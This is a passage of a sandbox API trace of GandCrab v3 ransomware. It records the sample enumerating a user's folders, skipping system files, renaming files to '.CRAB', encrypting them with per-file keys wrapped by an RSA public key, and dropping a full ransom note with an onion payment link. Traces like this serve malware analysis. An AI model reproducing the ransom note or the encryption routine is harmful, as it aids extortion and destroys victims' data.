	[0131.652] ReadFile (in: hFile=0x3f4, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314b474*=0x15b90, lpOverlapped=0x0) returned 1
	[0131.667] VirtualAlloc (lpAddress=0x0, dwSize=0x15b90, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0131.668] VirtualAlloc (lpAddress=0x0, dwSize=0x15b90, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0131.670] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.671] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xfffea470, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.671] WriteFile (in: hFile=0x3f4, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x15b90, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314b464*=0x15b90, lpOverlapped=0x0) returned 1
	[0131.671] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.672] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.677] WriteFile (in: hFile=0x3f4, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0131.677] WriteFile (in: hFile=0x3f4, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0131.677] WriteFile (in: hFile=0x3f4, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314b464*=0x8, lpOverlapped=0x0) returned 1
	[0131.677] CloseHandle (hObject=0x3f4) returned 1
	[0131.677] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.677] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.678] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.678] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.678] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.678] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.678] FindNextFileW (in: hFindFile=0x320ded0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0131.678] lstrcmpW (lpString1="roLHBmMYKVka.m4a", lpString2=".") returned 1
	[0131.678] lstrcmpW (lpString1="roLHBmMYKVka.m4a", lpString2="..") returned 1
	[0131.679] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\", lpString2="roLHBmMYKVka.m4a" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\roLHBmMYKVka.m4a") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\roLHBmMYKVka.m4a"
	[0131.679] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0131.679] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\roLHBmMYKVka.m4a") returned 97
	[0131.679] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\roLHBmMYKVka.m4a") returned 97
	[0131.679] lstrlenW (lpString=".m4a") returned 4
	[0131.679] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.679] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".m4a ") returned 5
	[0131.679] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.679] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\roLHBmMYKVka.m4a") returned 97
	[0131.679] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\roLHBmMYKVka.m4a") returned 97
	[0131.679] lstrcmpiW (lpString1="roLHBmMYKVka.m4a", lpString2="desktop.ini") returned 1
	[0131.680] lstrcmpiW (lpString1="roLHBmMYKVka.m4a", lpString2="autorun.inf") returned 1
	[0131.680] lstrcmpiW (lpString1="roLHBmMYKVka.m4a", lpString2="ntuser.dat") returned 1
	[0131.680] lstrcmpiW (lpString1="roLHBmMYKVka.m4a", lpString2="iconcache.db") returned 1
	[0131.680] lstrcmpiW (lpString1="roLHBmMYKVka.m4a", lpString2="bootsect.bak") returned 1
	[0131.680] lstrcmpiW (lpString1="roLHBmMYKVka.m4a", lpString2="boot.ini") returned 1
	[0131.680] lstrcmpiW (lpString1="roLHBmMYKVka.m4a", lpString2="ntuser.dat.log") returned 1
	[0131.680] lstrcmpiW (lpString1="roLHBmMYKVka.m4a", lpString2="thumbs.db") returned -1
	[0131.680] lstrcmpiW (lpString1="roLHBmMYKVka.m4a", lpString2="CRAB-DECRYPT.txt") returned 1
	[0131.680] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.680] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\roLHBmMYKVka.m4a.CRAB") returned 102
	[0131.680] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\roLHBmMYKVka.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\vdr4m 7z-bfqy\\bzj2hufm2xqpz20kv\\rolhbmmykvka.m4a")) returned 0x20
	[0131.680] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\roLHBmMYKVka.m4a", dwFileAttributes=0x20) returned 1
	[0131.681] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\roLHBmMYKVka.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\vdr4m 7z-bfqy\\bzj2hufm2xqpz20kv\\rolhbmmykvka.m4a"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\roLHBmMYKVka.m4a.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\vdr4m 7z-bfqy\\bzj2hufm2xqpz20kv\\rolhbmmykvka.m4a.crab")) returned 1
	[0131.685] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0131.685] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\roLHBmMYKVka.m4a.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\roLHBmMYKVka.m4a.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\roLHBmMYKVka.m4a.CRAB"
	[0131.686] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\roLHBmMYKVka.m4a.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\roLHBmMYKVka.m4a.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\roLHBmMYKVka.m4a.CRAB.CRAB"
	[0131.686] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6eb78) returned 1
	[0131.688] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0131.689] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0131.689] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0131.689] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x10, pbBuffer=0x314b41c | out: pbBuffer=0x314b41c) returned 1
	[0131.689] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0131.689] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.689] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e408) returned 1
	[0131.692] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0131.692] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0131.692] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0131.692] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314b3f8 | out: pbBuffer=0x314b3f8) returned 1
	[0131.692] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0131.692] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.692] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0131.693] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0131.693] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e5a0) returned 1
	[0131.696] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x320df90) returned 1
	[0131.696] CryptGetKeyParam (in: hKey=0x320df90, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0131.696] CryptEncrypt (in: hKey=0x320df90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314b42c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314b42c*=0x100) returned 1
	[0131.696] GetLastError () returned 0x0
	[0131.696] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0131.696] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e6b0) returned 1
	[0131.702] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x320e450) returned 1
	[0131.702] CryptGetKeyParam (in: hKey=0x320e450, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0131.702] CryptEncrypt (in: hKey=0x320e450, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314b430*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314b430*=0x100) returned 1
	[0131.703] GetLastError () returned 0x0
	[0131.703] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0131.703] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\bZj2Hufm2xQPz20kv\\roLHBmMYKVka.m4a.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\vdr4m 7z-bfqy\\bzj2hufm2xqpz20kv\\rolhbmmykvka.m4a.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0131.703] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0131.703] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0131.704] ReadFile (in: hFile=0x3f4, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314b474*=0xc9b0, lpOverlapped=0x0) returned 1
	[0131.715] VirtualAlloc (lpAddress=0x0, dwSize=0xc9b0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0131.716] VirtualAlloc (lpAddress=0x0, dwSize=0xc9b0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0131.717] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.717] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xffff3650, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.717] WriteFile (in: hFile=0x3f4, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xc9b0, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314b464*=0xc9b0, lpOverlapped=0x0) returned 1
	[0131.718] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.718] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.721] WriteFile (in: hFile=0x3f4, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0131.722] WriteFile (in: hFile=0x3f4, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0131.722] WriteFile (in: hFile=0x3f4, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314b464*=0x8, lpOverlapped=0x0) returned 1
	[0131.722] CloseHandle (hObject=0x3f4) returned 1
	[0131.722] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.722] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.722] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.722] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.723] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.723] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.723] FindNextFileW (in: hFindFile=0x320ded0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0131.723] FindClose (in: hFindFile=0x320ded0 | out: hFindFile=0x320ded0) returned 1
	[0131.723] FindNextFileW (in: hFindFile=0x320e0d0, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0131.723] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0131.723] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0131.723] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\CRAB-DECRYPT.txt"
	[0131.723] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0131.724] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\CRAB-DECRYPT.txt") returned 79
	[0131.724] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\CRAB-DECRYPT.txt") returned 79
	[0131.724] lstrlenW (lpString=".txt") returned 4
	[0131.724] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.724] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0131.724] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.724] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\CRAB-DECRYPT.txt") returned 79
	[0131.724] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\CRAB-DECRYPT.txt") returned 79
	[0131.724] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0131.724] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0131.724] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0131.724] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0131.724] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0131.724] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0131.724] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0131.724] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0131.724] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0131.724] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.725] FindNextFileW (in: hFindFile=0x320e0d0, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0131.725] lstrcmpW (lpString1="RVJGDnmzD", lpString2=".") returned 1
	[0131.725] lstrcmpW (lpString1="RVJGDnmzD", lpString2="..") returned 1
	[0131.725] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\", lpString2="RVJGDnmzD" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD"
	[0131.725] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\"
	[0131.725] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0131.725] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0131.725] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0131.725] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0131.725] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0131.725] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.725] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0131.725] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0131.725] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0131.725] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0131.725] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0131.725] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0131.725] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0131.726] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\\\CRAB-DECRYPT.txt") returned 90
	[0131.726] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\vdr4m 7z-bfqy\\rvjgdnmzd\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0131.762] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0131.762] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0131.762] CloseHandle (hObject=0x3f0) returned 1
	[0131.763] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.763] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\") returned 73
	[0131.763] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\*"
	[0131.763] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\vdr4M 7z-bfQy\\RVJGDnmzD\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0x320ded0
	[0131.763] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0131.763] FindNextFileW (in: hFindFile=0x320ded0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0131.763] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0131.763] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0131.763] FindNextFileW (in: hFindFile=0x320ded0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0131.763] lstrcmpW (lpString1="9443tYbH HAxp5tXYlYN.mp3", lpString2=".") returned 1
	[0131.763] lstrcmpW (lpString1="9443tYbH HAxp5tXYlYN.mp3", lpString2="..") returned 1
